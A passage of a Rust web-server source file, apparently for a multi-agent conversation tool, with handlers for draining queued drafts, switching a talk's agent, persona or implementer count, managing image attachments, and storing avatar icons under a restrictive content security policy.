9959        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9960            // Release under the arrival lock; a later `/say` takes its own claim.
9961            turn.release(&mut live);
9962            return false;
9963        }
9964    }
9965    let (started, settled) = tokio::sync::oneshot::channel();
9966    tokio::spawn(drain_loop_started(
9967        talk,
9968        talks,
9969        cfg,
9970        id,
9971        turn,
9972        Some(started),
9973    ));
9974    settled.await.unwrap_or(false)
9975}
9976
9977#[cfg(not(test))]
9978async fn drain_loop_started(
9979    talk: Talk,
9980    talks: Talks,
9981    _cfg: Config,
9982    id: String,
9983    turn: TalkTurnGuard,
9984    started: Option<tokio::sync::oneshot::Sender<bool>>,
9985) {
9986    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9987    let running = if pending {
9988        match crate::chat_worker::spawn_turn(&talks, &id).await {
9989            Ok(_) => true,
9990            Err(error) => {
9991                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9992                false
9993            }
9994        }
9995    } else {
9996        false
9997    };
9998    drop(turn);
9999    if let Some(started) = started {
10000        let _ = started.send(running);
10001    }
10002}
10003
10004// Existing in-process conversation tests exercise transcript/arrival ordering;
10005// real process-lifetime behavior is covered by the CLI integration tests.
10006#[cfg(test)]
10007async fn drain_loop_started(
10008    mut talk: Talk,
10009    talks: Talks,
10010    cfg: Config,
10011    id: String,
10012    turn: TalkTurnGuard,
10013    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10014) {
10015    let live_set = Arc::clone(&turn.turns);
10016    // `Option` rather than binding `turn` directly to a `_turn` that lives
10017    // for the whole function: releasing it has to happen by calling
10018    // `TalkTurnGuard::release` from inside the locked branch below, which
10019    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10020    // remove the id - correctly, if this loop is ever left some other way -
10021    // but doing it there misses the lock this loop is already holding, which
10022    // is the exact gap `release` exists to close.
10023    let mut turn = Some(turn);
10024    loop {
10025        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10026            // The lease was taken over while a turn ran. Whatever is queued
10027            // stays a draft; running it here would race the new owner.
10028            tracing::warn!("talk {id} lost its turn lease; not draining further");
10029            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10030            if let Some(turn) = turn.take() {
10031                turn.release(&mut live);
10032            }
10033            break;
10034        }
10035        // `talk::drain` takes the store lock and can write/rename the talk
10036        // file. Keep the turn mutex out of that synchronous work: it protects
10037        // every talk's in-memory claim, not this talk's disk operation.
10038        let observed = live_set
10039            .lock()
10040            .unwrap_or_else(PoisonError::into_inner)
10041            .queued
10042            .get(&id)
10043            .copied()
10044            .unwrap_or(0);
10045        let drained = blocking({
10046            let talks = talks.clone();
10047            move || {
10048                let result = talk::drain(&mut talk, &talks);
10049                Ok((talk, result))
10050            }
10051        })
10052        .await;
10053        let (next_talk, result) = match drained {
10054            Ok(drained) => drained,
10055            Err(e) => {
10056                tracing::warn!(
10057                    status = %e.status,
10058                    message = %e.message,
10059                    "talk {id} could not start queued-text drain"
10060                );
10061                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10062                turn.take()
10063                    .expect("held for the whole loop until released here")
10064                    .release(&mut live);
10065                break;
10066            }
10067        };
10068        talk = next_talk;
10069        let drained = match result {
10070            Ok(Some(drained)) => drained,
10071            Ok(None) => {
10072                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10073                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10074                    continue;
10075                }
10076                turn.take()
10077                    .expect("held for the whole loop until released here")
10078                    .release(&mut live);
10079                break;
10080            }
10081            Err(e) => {
10082                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10083                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10084                turn.take()
10085                    .expect("held for the whole loop until released here")
10086                    .release(&mut live);
10087                break;
10088            }
10089        };
10090        if let Some(started) = started.take() {
10091            let _ = started.send(true);
10092        }
10093        let responded = match turn.as_ref() {
10094            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10095            None => Err(anyhow::anyhow!("the turn guard was released")),
10096        };
10097        if let Err(e) = responded {
10098            tracing::warn!("talk {id} turn failed: {e:#}");
10099        }
10100    }
10101    drop(turn);
10102    if let Some(started) = started {
10103        let _ = started.send(false);
10104    }
10105}
10106
10107/// Clear a queued draft only if it remains exactly the one the caller saw.
10108async fn talk_pending_clear(
10109    State(ui): State<Arc<Ui>>,
10110    Path(id): Path<String>,
10111    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10112) -> ApiResult<Json<TalkView>> {
10113    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10114    blocking(move || {
10115        let id = resolve_talk(&ui.talks, &id)?;
10116        let mut talk = ui.talks.get(&id)?;
10117        if !talk.status.open() {
10118            return Err(ApiError::conflict(format!(
10119                "talk {} is {} and takes no more turns",
10120                talk.short(),
10121                talk.status.as_str()
10122            )));
10123        }
10124        if !talk::clear_pending_if_matches(
10125            &mut talk,
10126            &ui.talks,
10127            &body.expected_text,
10128            &body.expected_attachments,
10129        )? {
10130            return Err(ApiError::conflict(
10131                "queued message changed; reload it before clearing",
10132            ));
10133        }
10134        let thinking = ui.is_thinking(&talk.id);
10135        Ok(Json(TalkView::new(talk, thinking, &ui)))
10136    })
10137    .await
10138}
10139
10140/// Atomically edit a queued draft's text while preserving its attachments.
10141/// The snapshot fields make a concurrent queue or drain a conflict rather
10142/// than silently discarding either message.
10143async fn talk_pending_edit(
10144    State(ui): State<Arc<Ui>>,
10145    Path(id): Path<String>,
10146    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10147) -> ApiResult<Json<TalkView>> {
10148    let admission = ui.begin_admission()?;
10149    admitted(admission, async move {
10150        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10151        let id = {
10152            let ui = Arc::clone(&ui);
10153            blocking(move || resolve_talk(&ui.talks, &id)).await?
10154        };
10155        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10156            .await
10157            .map_err(ApiError::from)?;
10158        let (view, reclaimed) = blocking({
10159            let ui = Arc::clone(&ui);
10160            move || {
10161                let mut talk = ui.talks.get(&id)?;
10162                if !talk.status.open() {
10163                    return Err(ApiError::conflict(format!(
10164                        "talk {} is {} and takes no more turns",
10165                        talk.short(),
10166                        talk.status.as_str()
10167                    )));
10168                }
10169                if !talk::edit_pending_message(
10170                    &mut talk,
10171                    &ui.talks,
10172                    &body.text,
10173                    &body.expected_text,
10174                    &body.expected_attachments,
10175                    body.message,
10176                )? {
10177                    return Err(ApiError::conflict(
10178                        "queued message changed; reload it before editing",
10179                    ));
10180                }
10181                let claim = match ui.begin_queued_talk_turn(&id)? {
10182                    Some(turn_guard) => {
10183                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10184                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10185                    }
10186                    None => None,
10187                };
10188                let thinking = ui.is_thinking(&id);
10189                Ok((TalkView::new(talk, thinking, &ui), claim))
10190            }
10191        })
10192        .await?;
10193        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10194            let talks = ui.talks.clone();
10195            #[cfg(not(test))]
10196            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10197            #[cfg(test)]
10198            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10199        }
10200        Ok(Json(view))
10201    })
10202    .await
10203}
10204
10205/// The 409 for a talk that takes no more turns.
10206fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10207    if talk.status.open() {
10208        return Ok(());
10209    }
10210    Err(ApiError::conflict(format!(
10211        "talk {} is {} and takes no more turns",
10212        talk.short(),
10213        talk.status.as_str()
10214    )))
10215}
10216
10217/// The body of `POST /api/talks/{id}/agent`.
10218#[derive(Debug, Deserialize)]
10219struct TalkAgent {
10220    agent: String,
10221}
10222
10223/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10224/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10225/// start a turn on the old session between the check and the write; one that
10226/// arrives in that window finds the talk busy and becomes a draft.
10227async fn talk_agent(
10228    State(ui): State<Arc<Ui>>,
10229    Path(id): Path<String>,
10230    Json(body): Json<TalkAgent>,
10231) -> ApiResult<Json<TalkView>> {
10232    let admission = ui.begin_admission()?;
10233    admitted(admission, async move {
10234        let id = {
10235            let ui = Arc::clone(&ui);
10236            blocking(move || resolve_talk(&ui.talks, &id)).await?
10237        };
10238        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10239            .await
10240            .map_err(ApiError::from)?;
10241        let repo = {
10242            let ui = Arc::clone(&ui);
10243            let id = id.clone();
10244            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10245        };
10246        let cfg = config_for(&repo).await?;
10247        // Refuse before taking the claim; see `talk_implementers`.
10248        {
10249            let ui = Arc::clone(&ui);
10250            let id = id.clone();
10251            let cfg = cfg.clone();
10252            let wanted = body.agent.clone();
10253            blocking(move || {
10254                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10255                    .map_err(ApiError::bad_request_from)?;
10256                refuse_if_closed(&ui.talks.get(&id)?)
10257            })
10258            .await?;
10259        }
10260        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10261            return Err(ApiError::conflict(
10262                "a talk turn is running; change the agent once it has answered",
10263            ));
10264        };
10265        let switched = {
10266            let ui = Arc::clone(&ui);
10267            let id = id.clone();
10268            let cfg = cfg.clone();
10269            blocking(move || {
10270                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10271                    .map_err(ApiError::bad_request_from)?;
10272                let mut talk = ui.talks.get(&id)?;
10273                if !talk.status.open() {
10274                    return Err(ApiError::conflict(format!(
10275                        "talk {} is {} and takes no more turns",
10276                        talk.short(),
10277                        talk.status.as_str()
10278                    )));
10279                }
10280                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10281                Ok(talk)
10282            })
10283            .await
10284        };
10285        // A `/say` that landed while this held the claim saw the talk busy and
10286        // left a durable draft, trusting the claim's owner to drain it. So the
10287        // claim is settled whatever the outcome. Release an empty draft's claim
10288        // before replying; queued drafts continue independently of the handler.
10289        let observed = ui.queued_generation(&id);
10290        let fresh = {
10291            let ui = Arc::clone(&ui);
10292            let id = id.clone();
10293            blocking(move || Ok(ui.talks.get(&id)?)).await
10294        };
10295        let draining = match fresh {
10296            Ok(talk) => {
10297                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10298            }
10299            Err(_) => false,
10300        };
10301        let talk = switched?;
10302        Ok(Json(TalkView::new(talk, draining, &ui)))
10303    })
10304    .await
10305}
10306
10307/// The body of `POST /api/talks/{id}/persona`.
10308#[derive(Debug, Deserialize)]
10309struct TalkPersona {
10310    persona: String,
10311}
10312
10313/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10314/// like [`talk_agent`]: the turn guard is held for the change and always handed
10315/// to `drain_loop`, so a draft left meanwhile is not stranded.
10316async fn talk_persona(
10317    State(ui): State<Arc<Ui>>,
10318    Path(id): Path<String>,
10319    Json(body): Json<TalkPersona>,
10320) -> ApiResult<Json<TalkView>> {
10321    let admission = ui.begin_admission()?;
10322    admitted(admission, async move {
10323        let id = {
10324            let ui = Arc::clone(&ui);
10325            blocking(move || resolve_talk(&ui.talks, &id)).await?
10326        };
10327        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10328            .await
10329            .map_err(ApiError::from)?;
10330        let repo = {
10331            let ui = Arc::clone(&ui);
10332            let id = id.clone();
10333            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10334        };
10335        let cfg = config_for(&repo).await?;
10336        // Refuse before taking the claim; see `talk_implementers`.
10337        {
10338            let ui = Arc::clone(&ui);
10339            let id = id.clone();
10340            let cfg = cfg.clone();
10341            let wanted = body.persona.clone();
10342            blocking(move || {
10343                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10344                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10345                }
10346                refuse_if_closed(&ui.talks.get(&id)?)
10347            })
10348            .await?;
10349        }
10350        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10351            return Err(ApiError::conflict(
10352                "a talk turn is running; change the persona once it has answered",
10353            ));
10354        };
10355        let switched = {
10356            let ui = Arc::clone(&ui);
10357            let id = id.clone();
10358            let cfg = cfg.clone();
10359            blocking(move || {
10360                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10361                    return Err(ApiError::bad_request(format!(
10362                        "unknown persona `{}`",
10363                        body.persona
10364                    )));
10365                };
10366                let mut talk = ui.talks.get(&id)?;
10367                if !talk.status.open() {
10368                    return Err(ApiError::conflict(format!(
10369                        "talk {} is {} and takes no more turns",
10370                        talk.short(),
10371                        talk.status.as_str()
10372                    )));
10373                }
10374                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10375                Ok(talk)
10376            })
10377            .await
10378        };
10379        // As in `talk_agent`: settle the claim before replying, even on refusal.
10380        let observed = ui.queued_generation(&id);
10381        let fresh = {
10382            let ui = Arc::clone(&ui);
10383            let id = id.clone();
10384            blocking(move || Ok(ui.talks.get(&id)?)).await
10385        };
10386        let draining = match fresh {
10387            Ok(talk) => {
10388                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10389            }
10390            Err(_) => false,
10391        };
10392        let talk = switched?;
10393        Ok(Json(TalkView::new(talk, draining, &ui)))
10394    })
10395    .await
10396}
10397
10398/// The body of `POST /api/talks/{id}/implementers`.
10399#[derive(Debug, Deserialize)]
10400struct TalkImplementers {
10401    implementers: u8,
10402}
10403
10404/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10405/// like [`talk_agent`]: the turn guard is held for the change and always handed
10406/// to `drain_loop`, so a draft left meanwhile is not stranded.
10407async fn talk_implementers(
10408    State(ui): State<Arc<Ui>>,
10409    Path(id): Path<String>,
10410    Json(body): Json<TalkImplementers>,
10411) -> ApiResult<Json<TalkView>> {
10412    let admission = ui.begin_admission()?;
10413    admitted(admission, async move {
10414        let id = {
10415            let ui = Arc::clone(&ui);
10416            blocking(move || resolve_talk(&ui.talks, &id)).await?
10417        };
10418        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10419            .await
10420            .map_err(ApiError::from)?;
10421        let repo = {
10422            let ui = Arc::clone(&ui);
10423            let id = id.clone();
10424            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10425        };
10426        let cfg = config_for(&repo).await?;
10427        // Refuse a request that cannot succeed before taking the claim: a claim
10428        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10429        // moment, so a refusal would make the next request see "busy" instead of
10430        // its own answer. The checks after the claim stay the ones that decide.
10431        {
10432            let ui = Arc::clone(&ui);
10433            let id = id.clone();
10434            let cfg = cfg.clone();
10435            let wanted = body.implementers;
10436            blocking(move || {
10437                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10438                refuse_if_closed(&ui.talks.get(&id)?)
10439            })
10440            .await?;
10441        }
10442        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10443            return Err(ApiError::conflict(
10444                "a talk turn is running; change the implementers once it has answered",
10445            ));
10446        };
10447        let switched = {
10448            let ui = Arc::clone(&ui);
10449            let id = id.clone();
10450            let cfg = cfg.clone();
10451            blocking(move || {
10452                let chosen = talk::check_implementers(body.implementers, &cfg)
10453                    .map_err(ApiError::bad_request)?;
10454                let mut talk = ui.talks.get(&id)?;
10455                if !talk.status.open() {
10456                    return Err(ApiError::conflict(format!(
10457                        "talk {} is {} and takes no more turns",
10458                        talk.short(),
10459                        talk.status.as_str()
10460                    )));
10461                }
10462                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10463                Ok(talk)
10464            })
10465            .await
10466        };
10467        // As in `talk_agent`: settle the claim before replying, even on refusal.
10468        let observed = ui.queued_generation(&id);
10469        let fresh = {
10470            let ui = Arc::clone(&ui);
10471            let id = id.clone();
10472            blocking(move || Ok(ui.talks.get(&id)?)).await
10473        };
10474        let draining = match fresh {
10475            Ok(talk) => {
10476                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10477            }
10478            Err(_) => false,
10479        };
10480        let talk = switched?;
10481        Ok(Json(TalkView::new(talk, draining, &ui)))
10482    })
10483    .await
10484}
10485
10486/// `POST /api/talks/{id}/close`.
10487async fn talk_close(
10488    State(ui): State<Arc<Ui>>,
10489    Path(id): Path<String>,
10490) -> ApiResult<Json<TalkView>> {
10491    blocking(move || {
10492        let id = resolve_talk(&ui.talks, &id)?;
10493        let mut talk = ui.talks.get(&id)?;
10494        talk::close(&mut talk, &ui.talks).map_err(|error| {
10495            if error.is::<talk::ClosePendingInput>() {
10496                ApiError::conflict(format!("{error:#}"))
10497            } else {
10498                ApiError::from(error)
10499            }
10500        })?;
10501        let thinking = ui.is_thinking(&talk.id);
10502        Ok(Json(TalkView::new(talk, thinking, &ui)))
10503    })
10504    .await
10505}
10506
10507/// `POST /api/talks/{id}/reopen`.
10508async fn talk_reopen(
10509    State(ui): State<Arc<Ui>>,
10510    Path(id): Path<String>,
10511) -> ApiResult<Json<TalkView>> {
10512    blocking(move || {
10513        let id = resolve_talk(&ui.talks, &id)?;
10514        let mut talk = ui.talks.get(&id)?;
10515        talk::reopen(&mut talk, &ui.talks)?;
10516        let thinking = ui.is_thinking(&talk.id);
10517        Ok(Json(TalkView::new(talk, thinking, &ui)))
10518    })
10519    .await
10520}
10521
10522/// `DELETE /api/talks/{id}`.
10523///
10524/// Removes the conversation's record and artifacts outright, unlike
10525/// [`talk_close`] which keeps the record as history. A turn already in
10526/// flight is not refused here the way [`run_delete`] refuses a live run:
10527/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10528/// under [`Talks::guard`], that the record they are about to write back is
10529/// still there, so a delete racing a turn is safe without this route having
10530/// to know a turn is running at all.
10531async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10532    blocking(move || {
10533        let id = resolve_talk(&ui.talks, &id)?;
10534        ui.talks.remove(&id)?;
10535        Ok(StatusCode::NO_CONTENT)
10536    })
10537    .await
10538}
10539
10540fn talk_ids(root: &FsPath) -> Vec<String> {
10541    std::fs::read_dir(root)
10542        .into_iter()
10543        .flatten()
10544        .flatten()
10545        .filter_map(|e| {
10546            let path = e.path();
10547            if path.extension().is_some_and(|ext| ext == "json") {
10548                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10549            } else {
10550                None
10551            }
10552        })
10553        .collect()
10554}
10555
10556/// Expand an id or short id to exactly one talk id.
10557fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10558    if plain_record_id(id) && store.path_of(id).is_file() {
10559        return Ok(id.to_owned());
10560    }
10561    pick(talk_ids(store.root()), id, "talk")
10562}
10563
10564/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10565/// future `talk-say`.
10566async fn talk_attachment_post(
10567    State(ui): State<Arc<Ui>>,
10568    Path(id): Path<String>,
10569    headers: HeaderMap,
10570    body: Bytes,
10571) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10572    let mime = validate_attachment(&headers, &body)?;
10573    let name = filename_header(&headers);
10574    let data = body.to_vec();
10575    blocking(move || {
10576        let id = resolve_talk(&ui.talks, &id)?;
10577        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10578        Ok((StatusCode::CREATED, Json(att)))
10579    })
10580    .await
10581}
10582
10583/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10584/// `<img>` tag in the transcript.
10585async fn talk_attachment_get(
10586    State(ui): State<Arc<Ui>>,
10587    Path((id, att)): Path<(String, String)>,
10588) -> ApiResult<Response> {
10589    blocking(move || {
10590        let id = resolve_talk(&ui.talks, &id)?;
10591        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10592            return Err(ApiError::not_found(format!(
10593                "talk {id} has no attachment `{att}`"
10594            )));
10595        };
10596        Ok(attachment_response(&meta.mime, data))
10597    })
10598    .await
10599}
10600
10601/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10602/// the icon setting, so changing it changes the URL.
10603fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10604    let id = avatar_encode(&p.id);
10605    format!(
10606        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10607        persona_icon::fingerprint(
10608            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10609        )
10610    )
10611}
10612
10613#[derive(Debug, Default, Deserialize)]
10614struct AvatarQuery {
10615    persona: Option<String>,
10616    /// Set by the page after the first load failed: skip the `icon`.
10617    builtin: Option<String>,
10618}
10619
10620/// Served with every built-in avatar: it is an image, so nothing else may run.
10621const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10622
10623fn builtin_avatar(id: &str) -> Response {
10624    svg_avatar(persona_icon::builtin_svg(id))
10625}
10626
10627async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10628    raster_or_builtin(
10629        read_icon_file(&avatar_setting_path(&ui.home, None))
10630            .filter(|_| q.builtin.is_none())
10631            .as_deref(),
10632        persona_icon::operator_svg(),
10633    )
10634}
10635
10636fn svg_avatar(svg: &'static str) -> Response {
10637    (
10638        [
10639            (header::CONTENT_TYPE, "image/svg+xml"),
10640            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10641            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10642            (header::CACHE_CONTROL, "no-cache"),
10643        ],
10644        svg,
10645    )
10646        .into_response()
10647}
10648
10649fn avatar_encode(value: &str) -> String {
10650    value
10651        .bytes()
10652        .map(|b| {
10653            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10654                char::from(b).to_string()
10655            } else {
10656                format!("%{b:02X}")
10657            }
10658        })
10659        .collect()
10660}
10661
10662// Display-only overrides live outside configuration and conversation records.
10663fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10664    let Some(id) = persona else {
10665        return home.join("avatars/operator.data");
10666    };
10667    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10668    let mut path = home.join("avatars/personas");
10669    for chunk in encoded.as_bytes().chunks(100) {
10670        path.push(std::str::from_utf8(chunk).expect("hex"));
10671    }
10672    path.join("icon.data")
10673}
10674
10675fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10676    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10677        Some(value) if value == "builtin" => Some(String::new()),
10678        Some(value) => Some(value),
10679        None => configured.map(str::to_owned),
10680    }
10681}
10682
10683fn operator_icon_url(home: &FsPath) -> String {
10684    format!(
10685        "/avatars/operator.svg?v={}",
10686        persona_icon::fingerprint(
10687            read_icon_file(&avatar_setting_path(home, None))
10688                .as_deref()
10689                .or(Some(persona_icon::operator_svg()))
10690        )
10691    )
10692}
10693
10694fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10695    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10696        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10697            attachment_response(mime, bytes)
10698        }
10699        _ => svg_avatar(builtin),
10700    };
10701    response
10702        .headers_mut()
10703        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10704    response
10705}
10706
10707#[derive(Default, Deserialize)]
10708struct AvatarSettingsQuery {
10709    repo: Option<PathBuf>,
10710    persona: Option<String>,
10711    builtin: Option<String>,
10712    inherit: Option<String>,
10713}
10714
10715fn avatar_settings_specs(
10716    ui: &Ui,
10717    repo: Option<PathBuf>,
10718) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10719    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10720    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10721        .map(|cfg| cfg.talk.personas)
10722        .unwrap_or_default();
10723    Ok((repo, specs))
10724}
10725
10726fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10727    let Ok(entries) = std::fs::read_dir(path) else {
10728        return;
10729    };
10730    for entry in entries.flatten() {
10731        let name = entry.file_name().to_string_lossy().into_owned();
10732        if name == "icon.data" {
10733            let bytes: Option<Vec<u8>> = prefix
10734                .as_bytes()
10735                .chunks(2)
10736                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10737                .collect();
10738            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10739                out.push(id);
10740            }
10741        } else if name.len() <= 100
10742            && !name.is_empty()
10743            && name.bytes().all(|b| b.is_ascii_hexdigit())
10744            && entry.file_type().is_ok_and(|t| t.is_dir())
10745        {
10746            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10747        }
10748    }
10749}
10750
10751async fn avatar_settings_get(
10752    State(ui): State<Arc<Ui>>,
10753    Query(q): Query<AvatarSettingsQuery>,
10754) -> ApiResult<Json<serde_json::Value>> {
10755    blocking(move || {
10756        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10757        let mut catalog = persona::catalog(&specs);
10758        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10759        let mut saved = Vec::new();
10760        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10761        for id in saved {
10762            if !catalog.iter().any(|p| p.id == id) {
10763                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10764            }
10765        }
10766        let personas: Vec<_> = catalog.iter().map(|p| {
10767            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10768            let override_state = match saved.as_deref() {
10769                Some("builtin") => "builtin",
10770                Some(_) => "custom",
10771                None => "inherit",
10772            };
10773            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10774            serde_json::json!({"id":p.id,"name":p.name,
10775                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10776                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10777                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10778        }).collect();
10779        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10780    }).await
10781}
10782
10783async fn settings_persona_avatar(
10784    State(ui): State<Arc<Ui>>,
10785    Query(q): Query<AvatarSettingsQuery>,
10786) -> ApiResult<Response> {
10787    blocking(move || {
10788        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10789        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10790        let found = persona::find(&specs, id);
10791        let icon =
10792            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10793        Ok(raster_or_builtin(
10794            icon.as_deref().filter(|_| q.builtin.is_none()),
10795            persona_icon::builtin_svg(id),
10796        ))
10797    })
10798    .await
10799}
10800
10801fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10802    if q.persona
10803        .as_ref()
10804        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10805    {
10806        return Err(ApiError::bad_request("invalid persona id"));
10807    }
10808    Ok(())
10809}
10810
10811async fn avatar_settings_put(
10812    State(ui): State<Arc<Ui>>,
10813    Query(q): Query<AvatarSettingsQuery>,
10814    Json(upload): Json<MagiIconUpload>,
10815) -> ApiResult<Json<serde_json::Value>> {
10816    blocking(move || {
10817        validate_avatar_target(&q)?;
10818        save_icon_file(
10819            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10820            &upload.icon,
10821        )
10822        .map_err(ApiError::bad_request_from)?;
10823        Ok(Json(serde_json::json!({"saved":true})))
10824    })
10825    .await
10826}
10827
10828async fn avatar_settings_delete(
10829    State(ui): State<Arc<Ui>>,
10830    Query(q): Query<AvatarSettingsQuery>,
10831) -> ApiResult<Json<serde_json::Value>> {
10832    blocking(move || {
10833        validate_avatar_target(&q)?;
10834        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10835        if q.persona.is_some() && q.inherit.is_none() {
10836            atomic_icon_write(&path, "builtin")?;
10837        } else {
10838            match std::fs::remove_file(path) {
10839                Ok(()) => (),
10840                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10841                Err(e) => return Err(anyhow::Error::from(e).into()),
10842            }
10843        }
10844        Ok(Json(serde_json::json!({"saved":true})))
10845    })
10846    .await
10847}
10848
10849// The global MAGI icon is deliberately independent of repository configuration.
10850fn magi_icon_path(home: &FsPath) -> PathBuf {
10851    home.join("magi-icon.data")
10852}
10853
10854fn read_magi_icon(home: &FsPath) -> Option<String> {
10855    read_icon_file(&magi_icon_path(home))
10856}
10857
10858fn read_icon_file(path: &FsPath) -> Option<String> {
10859    let metadata = std::fs::metadata(path).ok()?;
10860    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10861        return None;
10862    }
10863    let file = std::fs::File::open(path).ok()?;
10864    use std::io::Read;
10865    let mut text = String::new();
10866    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10867        .read_to_string(&mut text)
10868        .ok()?;
10869    if text.len() > persona_icon::ICON_MAX_BYTES {
10870        return None;
10871    }
10872    if text == "builtin" {
10873        return Some(text);
10874    }
10875    validate_uploaded_icon(&text).ok()?;
10876    Some(text)
10877}
10878
10879fn magi_icon_url(home: &FsPath) -> String {
10880    format!(
10881        "/avatars/magi?v={}",
10882        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10883    )
10884}
10885
10886async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
